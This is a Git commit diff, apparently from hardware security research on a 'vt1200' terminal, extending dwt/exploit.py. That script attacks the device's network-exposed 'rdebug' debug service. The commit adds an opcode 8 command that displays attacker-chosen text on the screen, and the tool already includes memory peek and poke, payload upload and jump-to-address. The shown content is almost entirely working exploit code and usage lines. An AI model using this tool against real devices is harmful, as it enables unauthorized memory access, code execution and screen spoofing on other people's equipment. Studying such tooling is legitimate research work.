forked from arti/vt1200
dwt: rdebug opcode 8 puts attacker text in the TM Messages box
This commit is contained in:
1 parent
619aff0a93
commit
0e4075958b
16 files changed
+442
No files matched your search
@@ -31,6 +31,9 @@ Examples:
|
||||
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
|
||||
--jump 0x01800000 --jump-wait 2
|
||||
|
||||
# opcode 8 -- put attacker-chosen text on the terminal's screen
|
||||
dwt/exploit.py --host 192.168.99.2 --message "hello from rdebug"
|
||||
|
||||
# build the frames without opening a socket
|
||||
dwt/exploit.py --opcode 7 --dry-run
|
||||
"""
|
||||
@@ -261,6 +264,30 @@ class RDebug:
|
||||
print(f"[!] poke reply flag={flag:#x}: {payload!r}", file=sys.stderr)
|
||||
self.expect_done(payload if flag == 0 else None)
|
||||
|
||||
def display_message(self, level: int, text: bytes | str,
|
||||
terminate: bool = True) -> bytes:
|
||||
"""Opcode 8: ask the firmware to display *text* (len 1..1024).
|
||||
|
||||
Body layout: ``u32 be level, u32 be len, len raw bytes``. The handler
|
||||
allocates len+2 and copies len bytes, but it does **not** write a
|
||||
terminator (measured: a message sent without one is followed on screen
|
||||
by stale heap bytes). So ``terminate`` (the default) appends one NUL,
|
||||
and the NUL counts toward ``len``. Returns the reply payload (normally
|
||||
``b"Done\\n\\x00"``); raises ProtocolError on an error reply.
|
||||
"""
|
||||
if isinstance(text, str):
|
||||
text = text.encode("latin-1")
|
||||
if terminate and not text.endswith(b"\x00"):
|
||||
text += b"\x00"
|
||||
if not 1 <= len(text) <= MAX_XFER:
|
||||
raise ValueError(f"message length must be 1..{MAX_XFER} bytes")
|
||||
flag, payload = self.command(8, be32(level) + be32(len(text)) + text)
|
||||
if flag != 0:
|
||||
raise ProtocolError(f"display_message: expected Done flag 0, "
|
||||
f"got {flag:#x}: {payload!r}")
|
||||
self.expect_done(payload)
|
||||
return payload
|
||||
|
||||
def jump(self, bit_addr: int, args: list[int], wait: bool = True,
|
||||
wait_timeout: float | None = None) -> tuple[int, bytes] | None:
|
||||
body = be32(bit_addr) + be32(len(args))
|
||||
@@ -302,6 +329,11 @@ def build_frames(args) -> list[bytes]:
|
||||
frames = []
|
||||
if args.opcode is not None:
|
||||
frames.append(be32(args.opcode))
|
||||
if args.message is not None:
|
||||
text = args.message.encode("latin-1")
|
||||
if not text.endswith(b"\x00"):
|
||||
text += b"\x00" # the handler does not add a terminator
|
||||
frames.append(be32(8) + be32(args.message_level) + be32(len(text)) + text)
|
||||
if args.peek is not None:
|
||||
frames.append(be32(2) + be32(args.peek) + be32(args.len))
|
||||
if args.poke is not None:
|
||||
@@ -344,8 +376,13 @@ def main(argv: list[str]) -> int:
|
||||
g.add_argument("--poke-file", type=parse_int,
|
||||
help="poke a whole file: bit address")
|
||||
g.add_argument("--jump", type=parse_int, help="jump: call bit address")
|
||||
g.add_argument("--message", metavar="TEXT",
|
||||
help="opcode 8: display attacker-chosen text on the "
|
||||
"terminal screen")
|
||||
|
||||
ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)")
|
||||
ap.add_argument("--message-level", type=parse_int, default=0,
|
||||
help="opcode 8 first word (default 0; try 0..3)")
|
||||
ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF")
|
||||
ap.add_argument("--file", help="poke-file payload path")
|
||||
ap.add_argument("--arg", type=parse_int, action="append", default=[],
|
||||
@@ -410,6 +447,9 @@ def main(argv: list[str]) -> int:
|
||||
off += len(chunk)
|
||||
print(f"poke-file {args.file}: {len(data)} bytes at "
|
||||
f"{args.poke_file:#010x}: ok")
|
||||
if args.message is not None:
|
||||
rd.display_message(args.message_level, args.message)
|
||||
print(f"message level={args.message_level} {args.message!r}: ok")
|
||||
if args.jump is not None:
|
||||
result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0,
|
||||
wait_timeout=args.jump_wait or None)
|
||||
|
||||
Reference in new issue
Block a user